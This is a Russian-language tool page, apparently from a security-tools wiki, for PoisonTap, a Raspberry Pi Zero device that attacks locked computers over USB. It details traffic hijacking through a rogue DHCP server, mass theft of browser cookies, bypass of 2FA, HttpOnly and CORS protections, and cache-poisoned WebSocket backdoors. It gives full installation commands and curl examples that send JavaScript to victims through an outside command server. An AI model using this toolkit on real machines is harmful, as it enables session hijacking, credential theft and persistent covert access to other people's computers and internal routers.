PoisonTap
Описание PoisonTap
PoisonTap — используя подключённый к USB Raspberry Pi Zero, эксплуатирует заблокированный/защищённый паролем компьютер, забрасывает постоянный, основанный на WebSocket бэкдор, оказывает воздействие на внутреннюю маршрутизацию, перекачивает кукиз.
При подключении PoisonTap (Raspberry Pi Zero & Node.js) к заблокированному/защищённому паролю, аппаратно-программный комплекс:
- эмулирует Ethernet устройство через USB (или Thunderbolt)
- перехватывает весь Интернет-трафик с машины (не смотря на низкий приоритет/неизвестный сетевой интерфейс)
- перекачивает и сохраняет HTTP кукиз и сессии из веб-браузера для сайтов из первого миллиона самых популярных сайтов по Alexa
- показывает атакующему внутренний маршрут, делает его доступным удалённом
- предоставляет атакующему внутреннюю маршрутизацию, делает его доступной удалённо через исходящий WebSocket и повторно привязанный DNS
- устанавливает постоянный, основанный на веб бэкдор в HTTP кэш для сотен тысяч доменов и URL популярных сетей доставки контента (CDN), всё это осуществляется с доступом к пользовательским кукиз посредством травления кэша
- позволяет злоумышленнику удалённо заставить пользователя сделать HTTP запросы и проксировать обратные ответы (GET и POST) с пользовательскими кукиз на любом забэкдоренном домене
- не требует разблокировки машины
- бэкдоры и удалённый доступ сохраняются даже после отключения устройства и ухода злоумышленника
PoisonTap обходит следующие механизмы безопасности:
- Защищённый паролем экран блокировки
- Приоритет таблицы маршрутизации и порядок служб сетевых интерфейсов
- Правило ограничения домена
- X-Frame-Options
- HttpOnly Cookies
- Атрибут куки SameSite
- Двух факторную/Многофакторную аутентификацию (2FA/MFA)
- DNS закрепление
- Cross-Origin Resource Sharing (CORS)
- Защиту HTTPS куки когда флаг Secure и HSTS не задействованы
Демонстрация PoisonTap
PoisonTap встраивается в Raspberry Pi Zero без каких-либо дополнительных компонентов, кроме как кабель микро-USB и карты microSD; также может работать на любом Raspberry Pi (1/2/3) с переходником Ethernet-to-USB/Thunderbolt, или может работать на устройствах, которые могут эмулировать USB гаджеты, такие как Armory и LAN Turtle.
Живая демонстрация и подробности (на английском) доступны в видео:
Домашняя страница: https://samy.pl/poisontap/
Автор: Samy Kamkar
Лицензия: ?
Справка по PoisonTap
Как работает PoisonTap
PoisonTap создаёт каскадный эффект за счёт использования существующего доверия в различных механизмах машины и сети, включая USB/Thunderbolt, DHCP, DNS и HTTP для воспроизведения эффекта снежного кома в эксфильтрации информации, сетевого доступа и установки полупостоянных бэкдоров.
Если коротко, PoisonTap выполняет следующее:
Перехват сети
- Атакующий подключает PoisonTap (в специально подготовленной Raspberry Pi Zero) к заблокированному компьютеру (даже к компьютеру, защищённому паролем).
- PoisonTap эмулирует Ethernet устройстов (например, Ethernet через USB/Thunderbolt) — по умолчанию, Windows, OS X и Linux распознают ethernet устройстов, автоматически загружают его как низкоприоритетное сетевое устройство и выполняют через него DHCP запрос, даже если машина заблокирована или защищена паролем
- PoisonTap отвечает на DHCP запрос и предоставляет машине IP адрес, однако DHCP ответ сконструирован так, что сообщает машине, что всё пространство IPv4 (0.0.0.0 - 255.255.255.255) является частью локальной сети PoisonTap, а не маленькая подсеть (вроде 192.168.0.0 — 192.168.0.255)
- Обычно это не имело бы значения, поскольку вторичное сетевое устройство подключается к машине с более низким приоритетом, чем существующие (доверенные) сетевые устройства, и не заменяет шлюз для Интернет трафика, но…
- Любая таблица маршрутизации / шлюзовый приоритет / безопасность службы порядка сетевых интерфейсов обходятся благодаря приоритету "LAN трафика" над "Интернет трафиком"
- PoisonTap эксплуатирует этот сетевой доступ, даже в качестве сетевого устройства с низким приоритетом, поскольку подсети низкоприоритетного сетевого устройства даётся более высокий приоритет, чем шлюзу (маршруту по умолчанию) более высокоприоритетных сетевых интерфейсов
- Это означает, если трафик предназначен для 1.2.3.4, то при обычных условиях этот трафик отправился бы на дефолтный маршрут/шлюз главного (не-PoisonTap) сетевого устройства. На самом деле трафик получает PoisonTap, поскольку "локальная" сеть/подсеть предположительно содержит 1.2.3.4 и любой другой существующий IP адрес 😉
- Из-за этого, весь Интернет-трафик проходит через PoisonTap, даже если машина подключена к другому сетевому устройству с более высоким приоритетом и надлежащим шлюзом (истинный wifi, ethernet и т. д.)
Перекачивание куки
- До тех пор, пока в фоне работает веб-браузер, то весьма вероятно, что одна из страниц будет выполнять в фоне HTTP запрос (к примеру, загружать новую рекламу, отправлять данные для платформы аналитики или просто продолжать отслеживать ваши веб-передвижения) через AJAX или динамичные script/iframe тэги
- Вы сами можете это увидеть, перейдите в панель разработчика/инспектора (обычно Cmd+Shift+I или Ctrl+Shift+I), зайдите на посещаемый веб-сайт, кликните на вкладке Сеть и посмотрите на то, как будет продолжаться доступ к удалённым ресурсам, даже если вы не выполняете никаких действий на странице
- После этого HTTP запроса, т. к. весь трафик выходит из устройства PoisonTap, PoisonTap на лету спуфит (подменяет) DNS ответы на свой собственный адрес, что приведёт к тому, что HTTP запросы будут отправлены на веб-сервер (Node.js) PoisonTap
- Если DNS сервер указывает на внутренний IP (LAN), на который у PoisonTap не хватает привилегий, атака продолжается для функционирования в качестве внутреннего DNS сервера, который воспроизведёт публичный IP адрес для различных атакуемых доменов, а публичные IP адреса PoisonTap уже перехватывает
- После того, как отвечает внутренний DNS сервер, веб-браузер попадает на публичный IP, в конечном счёте переходит на веб-сервер (Node.js) PoisonTap в любом сценарии
- Когда веб-сервер Node получает запрос, PoisonTap отвечает ответом, который может быть интерпретирован как HTML или Javascript, оба которых выполняются должным образом (многие веб-сайты будут загружать HTML или JS в фоновых запросах)
- Страница HTML/JS-агностик затем вырабатывает много скрытых iframe, каждый iframe на различный домен из списка миллион самых посещаемых сайтов по Alexa
- Любая ограничения "X-Frame-Options" обходятся, поскольку PoisonTap теперь является HTTP сервером и выбирает, какие заголовки отправлять клиенту
- При каждом iframe HTTP запросе к сайту (например, http://nfl.com/PoisonTap), HTTP cookies отправляются от браузера на "публичный IP", перехваченный PoisonTap, которая быстро записывает в журнал кукиз/информацию аутентификации, записывает десятки тысяч пользовательских кукиз в PoisonTap
- Любые "HttpOnly" для безопасности куки обходятся, и эти куки захватываются, так как на самом домене не выполняется Javascript, он используется, в первую очередь, только для загрузки iframe
- Любые политики безопасности Cross-Origin Resource Sharing или Same-Origin Policy обходятся, поскольку домен, к которому осуществляется доступ, представляется браузеру легитимным
- Поскольку мы захватываем кукиз, а не учётные данные, любые реализации 2FA/MFA на этом сайте обходятся, когда атакующий использует куки для входа. Это от того, что мы в действительности не осуществляем функцию входа, а скорее продолжаем сессию, созданную при легитимном входе, что не вызывает срабатывание двухфакторной аутентификации
- Если сервер использует HTTPS, но для кукиз явным образом не установлен флаг Secure, HTTPS защита обходится и куки отправляются на PoisonTap
Удалённый доступ через веб-бэкдоры
- Пока PoisonTap воспроизводит тысячи PoisonTap, принуждая браузер загружать каждый из них, эти iframe совсем не являются не являются просто пустыми страницами, это скорее HTML+Javascript бэкдоры, которые кэшируются на неопределённый срок
- Поскольку PoisonTap принудительно кэширует эти бэкдоры на каждом домене, бэкдоры привязаны к этим доменам, дают возможность атакующему использовать кукиз домена для запуска в дальнейшем запросов same-origin, даже если пользователь в данный момент не произвёл вход
- Например, когда загружается iframe http://nfl.com/PoisonTap, PoisonTap принимает отклонённый Интернет-трафик, отвечает на HTTP запрос через веб-сервер Node
- Дополнительные HTTP заголовки добавляются для кэширования страницы на неопределённый срок
- Фактически ответ страницы является комбинацией HTML и Javascript, который создаёт постоянный WebSocket на веб-сервер атакующего (через Интернет, не через устройство PoisonTap)
- WebSocket остаётся открытым, позволяя злоумышленнику, в любой момент в будущем, обратно подключиться к забэкдоренной машине и выполнить запросы через любой источник, который имеет реализованный бэкдор (сайты Alexa top 1,000,000 — смотрите ниже)
- Если бэкдор открыт на сайте (например, nfl.com), но пользователь желает атаковать другой домен (например, pinterest.com), злоумышленник может загрузить iframe на nfl.com для бэкдора pinterest.com (http://pinterest.com/PoisonTap)
- Опять, любые безопасности "X-Frame-Options", Cross-Origin Resource Sharing, и Same-Origin Policy на доменах полностью обходятся, поскольку запросы вызовут кэш, который оставил PoisonTap, а не истинный домен
Бэкдор внутреннего маршрута и Удалённый доступ
- Одна сеть PoisonTap не способна захватить фактическую LAN подсеть истинного сетевого интерфейса (например, если подсеть пользовательского wifi это 192.168.0.x, эта сеть невосприимчива), но…
- PoisonTap принудительно кэширует бэкдор на специальный хост, в частности IP целевого роутера предваряется ".ip.samy.pl", например, 192.168.0.1.ip.samy.pl, по существу, производиться атака стойкой подмены DNS
- При использовании PoisonTap в качестве DNS сервера (жертва, использующая публичный DNS сервер), PoisonTap отвечает специализированным временным IP (1.0.0.1), означающий в данный момент любые запросы будут переданы на веб-сервер PoisonTap
- Если вместо DNS сервера настроено на внутреннюю сеть (например, 192.168.0.x), дополнительный специально сконструированный запрос делается на 1.0.0.1.pin.ip.samy.pl, который говорит моему специализированному серверу DNS (в публичном Интернете) временно реагировать на любые [ip.address].ip.samy.pl адреса с "приколотым" адресом (1.0.0.1) в течение нескольких секунд
- Затем PoisonTap быстро устанавливает бэкдор на http://192.168.0.1.ip.samy.pl/PoisonTap, который на мгновение направляет на устройство PoisonTap на 1.0.0.1, получить доступ и кэшировать бэкдор с устройства PoisonTap
- Прикалывание (pinning) DNS и переназначение (rebinding) DNS в обход ограничений возможно благодаря израсходованию таблицы соответствий DNS из-за сотен тысяч запросов., которые предварительно осуществляются, и в будущем не должна произойти перепривязка, что сохраняет эффект от этой атаки на длительный период времени
- Теперь, когда бэкдор принудительно хеширован на http://192.168.0.1.ip.samy.pl/PoisonTap, любые будущие запросы на 192.168.0.1.ip.samy.pl будут вызывать не прикреплённый IP адрес, что приведёт к преобразованию 192.168.0.1 вместо прямого направления на роутер
- Это означает, если удалённо через бэкдор загружается хост 192.168.0.1.ip.samy.pl/PoisonTap в iframe, теперь вы можете выполнять AJAX GET/POST на любые другие страницы на внутреннем роутере, полностью удалённо, т. е. даётся удалённый доступ к внутреннему роутеру.
- Это может привести к другим атакам на роутер, к которым в ином случае атакующий никогда бы не имел доступ, таким как использование дефолтных учётных данных администратора роутера для перезаписи DNS серверов или открывая другие уязвимости аутентификации
Recap DNS сервера:
- [ip.addy].ip.samy.pl обычно отвечает с [ip.addy]
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
- [ip.addy].pin.ip.samy.pl временно (~5 секунд) указывает *.ip.samy.pl to [ip.addy]
- 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
- 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)
- (после ~5 секунд)
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
Дополнительные доступные удалённо веб-бэкдоры
- Дополнительно PoisonTap заменяет тысячи популярных, основанных на CDN, Javascript файлов, например CDN от Google и jQuery, корректным кодом плюс бэкдором, который даёт злоумышленнику доступ на любой загружаемый домен с инфицированным файлов Javascript из CDN
- Поскольку бэкдор оставляется на каждом домене, это позволяет атакующему удалённо принуждать забэкдоренный браузер выполнять запросы same-origin (AJAX GET/POST), на, теоретически, любом крупном домене, даже если жертва в текущий момент не имеет в данный момент открытых окон на этом домене.
- Теперь бэкдор будет жить на любом дополнительном сайте, который также использует один из инфицированных, основанных на HTTP, фреймворков CDN Javascript при посещении жертвой сайта
Установка PoisonTap
Загрузка PoisonTap
Исходный код: https://github.com/samyk/poisontap
git clone https://github.com/samyk/poisontap.git
Установка / Размещение файлов
# Инструкция адаптированна из https://gist.github.com/gbaman/50b6cca61dd1c3f88f41 sudo bash # Если Raspbian ДО 2016-05-10, тогда запустите следующую строку: BRANCH=next rpi-update echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces echo "dtoverlay=dwc2" >> /boot/config.txt echo -e "dwc2\ng_ether" >> /etc/modules echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local mkdir /home/pi/poisontap chown -R pi /home/pi/poisontap apt-get update && apt-get upgrade apt-get -y install isc-dhcp-server dsniff screen nodejs
Поместите dhcpd.conf в /etc/dhcp/dhcpd.conf, а остальные файлы в /home/pi/poisontap, затем перезагрузите, чтобы убедиться, что всё работает.
В репозитории присутствует ряд файлов, которые имеют различное применение. Их перечень:
- backdoor.html — Всякий раз, когда происходит переход по URL http://hostname/PoisonTap для эксфильтрации кукиз, этот файл возвращается в качестве содержимого для принудительного кэширования. Он содержит бэкдор, который создаёт исходящий websocket на samy.pl:1337 (настраивается на любой хост/порт), который остаётся открытым для команд с сервера. Это означает, когда вы загружаете iframe на сайте, такой как http://hostname/PoisonTap, будет заполнено этим содержимым (даже после удаления из машины PoisonTap).
- backend_server.js — это сервер Node.js, который вы запускаете на вашем доступном из Интернета сервере. Это то, к чему подключается backdoor.html (например, samy.pl:1337). Этот тот же сервер, к которому вы подключаетесь для отправки команд для ваших любимых машин, в которые вы ранее втыкали PoisonTapp, например
# всплывающее окно для жертвы curl 'http://samy.pl:1337/exec?alert("muahahahaha")' # установка кукиз для жертвы curl 'http://samy.pl:1337/exec?document.cookie="key=value"' # принудить жертвы загружить url через ajax (помните, jQuery сохранён внутри бэкдора) curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
- pi_poisontap.js — Он запускается через Node.js на Raspberry Pi Zero и является HTTP сервером, ответственным за обработку любых HTTP запросов, перехватываемых PoisonTap, сохранение перекаченных кукиз и внедрение кэшированных бэкдоров.
- pi_startup.sh — Он запускается при старте Raspberry Pi Zero, чтобы настроить и поднять эмулятор гаджета Ethernet-over-USB, поднять наш злой DHCP сервер, позволить перенаправлять трафик, DNS спуфинг и запустить описанный выше pi_poisontap.js.
- target_backdoor.js — Это файл, добавляемый к любым связанным с CDN Javascript файлам, таким образом забэкдоривая их, например, CDN jQuery URL от Google.
- target_injected_xhtmljs.html — Это код, который внедряется в непреднамеренные/фоновые HTTP/AJAX запросы на машине жертвы и запускает всю атаку. Он сконструирован таким образом, что он может быть интерпретирован как HTML или как Javascript, и при этом исполняет тот же код. В нём же HTML5 canvas, который можно наблюдать в демонстрации, когда страницы пропускаются через PoisonTap.
- poisontap.cookies.log — Этот файл генерируется после начала отправки HTTP зоапросов с пользовательской машины на PoisonTap, в нём сохраняются куки из браузера вместе с ассоциированным URL/доменом, которому они принадлежат.
Инструкции по PoisonTap
Подробнейшая инструкция по установке PoisonTap начиная с прожига прошивки Raspbian
Часть 1
1. Прожгите Raspbian Jessie full или Raspbian Jessie Lite на SD карту (https://www.raspberrypi.org/downloads/raspbian/).
2. После прожига Raspbian, откройте загрузочный раздел (в Windows Explorer, Finder и т. д.) и добавьте в конец файла config.txt новую строку
dtoverlay=dwc2
и сохраните файл.
3. И, наконец, откройте cmdline.txt. Будьте осторожны с этим файлом, он очень чувствителен к форматированию! Каждый параметр разделяется одиночный пробелом (он не использует новые строки). Вставьте
modules-load=dwc2,g_ether
после
rootwait
Для сравнения, отредактированную версию файла cmdline.txt во время записи можно найти здесь.
Вот и всё, извлеките SD карту из вашего компьютера, поместите её в ваш Raspberry Pi Zero и подключите через USB к вашему компьютеру. Понадобиться до 90 секунд для загрузки (меньше при последующих загрузках). Должно появиться USB Ethernet устройство. Вы можете подключиться к нему по SSH используя raspberrypi.local в качестве адреса.
Часть 2
1. Войдите по ssh в ваш RaspberryPi с
ssh pi@[RASPBERRY_IP]
(пароль по умолчанию «raspberry»)
2. Установите необходимые инструменты запустив
sudo apt-get install dsniff isc-dhcp-server nodejs screen
(NodeJS может уже быть установлен)
3. Теперь нам нужно настроить рабочую облать. Перейдите в домашнюю директорию pi
cd /home/pi/
затем загрузите PoisonTap
git clone https://github.com/samyk/poisontap.git
4. Установите скрипт запускать
sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/ && sudo chmod +x /etc/init.d/pi_startup.sh
Также нам нужно запустить pi_startup.sh во время загрузки:
sudo nano /etc/rc.local
и добавьте
/etc/init.d/pi_startup.sh &
ПРЯМО ПЕРЕД
exit 0
Сделайте настройку DHCP: PoisonTap предоставляет конфигурационный файл, просто наберите
sudo cp /home/pi/poistontap/dhcpd.conf /etc/dhcp/dhcpd.conf
Далее нам нужно установить usb0 интерфейс
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
(Если у вас появилась ошибка о запрещённом доступе даже с sudo, то просто запустите
su
наберите пароль рута. Если вы не знаете этот пароль, запустите
passwd root
и выберите безопасный пароль). Когда вы вошли под рутом, запустите команду снова. Не забудьте выйти из сессии рута когда вы закончите.
Часть 3
Вы можете отключить все кабели вашей RPi и затем подключить её к целевому компьютеру. (Тупое напоминание: Используйте `OTG raspberry's port`, а не `PWR`).
Подождите несколько секунд и попробуйте загрузить `http://nfl.com` в браузере. Все HTTP запросы будут записаны в RPi в /home/pi/poisontap/poisontap.cookies.log.
Comments are Closed